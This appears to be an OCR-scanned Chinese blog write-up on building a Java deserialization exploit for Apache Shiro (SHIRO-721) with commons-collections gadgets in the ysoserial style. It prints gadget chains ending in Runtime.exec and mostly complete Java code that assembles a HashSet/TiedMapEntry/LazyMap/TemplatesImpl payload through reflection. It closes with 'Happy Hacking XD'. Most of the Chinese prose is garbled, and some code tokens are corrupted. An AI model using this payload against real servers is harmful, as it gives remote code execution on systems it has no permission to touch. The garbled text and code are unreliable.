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<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
<scope>runtime</scope>

</dependency>
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org.apache.shiro.io.DefaultSerializer.deserialize:67
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XESEFEERAAT ParallelWebAppClassLoader XK WebappClassLoaderBase H] loadClass BA#L
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B ESENE-RBXER, EEEXREHIIANT commons-collections:4.0 , f#ffysoserial
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RIBOXO2HINH, BATTLIEZEKRZFHEFK chainedTransformer XN LIERIIN, K b
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PriorityQueue.readObject

-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()

-> InvokerTransformer.transform()

-> TemplatesImpl.newTransformer()

. templates Gadgets ...
-> Runtime.getRuntime().exec()
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RS, XFERNMBMITLUELHR iMethodName BN newTransformer , MIMFERE S Htemplates
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HWARBRT, BLABHENR input BN TemplatesImpl X HRIE?



fEysoserial A 8 H, KT transform REUEWK input FEFRIEN

1./t 4 ChainedTransformer

InvokerTransformer £ ChainedTransformer EC&, fE¥FMiERuUNtimt.getRuntime().exec. 1R B
2, XERMNEEMAT .
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XEMER N string HBHRHEANE| ConstantTransformer.transform BEH input ,
% transform BEAKIE input , MEBIRE iconstant

REEFBEEW T, BIMREAFHZXNMLEXK string T!

M CommonsCollectionS F4h, HET TiedMapEntry , HEEANFY, HMAHT LazyMap (map)
Hl get EREL.
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Object getValue()

H i map f key BATECR LAFEH], T LazyMap.get WA T transform BE, FHKATEN key /£
A transform EREL

XEBELETRMNETE B, BHEEFE TenplatesTmpl (key) fE
A InvokerTransformer.transform BEH input N, BATE AT LA¥templates gadgetsHE 2K T »

faj B R P, FATE commonsCollections5, 6, 9 WEHEFH TiedMapEntry E]‘Jkey)ﬂ TR,

final Object templates = Gadgets.createTemplatesImpl(command);
// TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); //RFEIFIM I X
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);

XEBTE UK foo BUEM TR TemplatesImpl.newTransformer Hitrigger.

M7 TiedMapEntry Bl IFIHEE, ERAEshiroIfFE T, HAMR (BAEHHARUKNER) , WUIEE KT
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Djdk.xml.enableTemplatesImplDeserialization=true
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final Object templates = Gadgets.createTemplatesImpl(command);// ¥Mi&H#HHevil class bytesHTemplatesImpl
// ¥EInvokerTransformer, HEALEHtoStringR

final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[@], new Object[Q0]);

final Map innerMap = new HashMap();

// Hi&LazyMapfifactory NRITHE M InvokerTransformer

final Map lazyMap = LazyMap.decorate(innerMap, transformer);
// ¥EFETiedMapEntryfimap (lazyMap) Filkey (TemplatesImpl)
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);

HashSet map = new HashSet(1);
map.add("foo");
// FRRiE¥entryHz BlHashSetfinodeffkey b, BILAE{RHashSetEput i} &I TiedMapEntryfhashCode &%k
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = null;
innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = new Object[Q];
array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
/] BR&H AR B inewTransformer$# 3 InvokerTransformer
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

return map;
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https://github.com/wh1t3p1g/ysoserial
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java.util.HashSet.readObject()
-> java.util.HashMap.put()
-> java.util.HashMap.hash()

-> org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

-> org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()

-> org.apache.commons.collections.map.LazyMap.get()

-> org.apache.commons.collections.functors.InvokerTransformer.transform()

-> java.lang.reflect.Method.invoke()
. templates gadgets ...
-> java.lang.Runtime.exec()
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Happy Hacking XD


https://issues.apache.org/jira/browse/SHIRO-721
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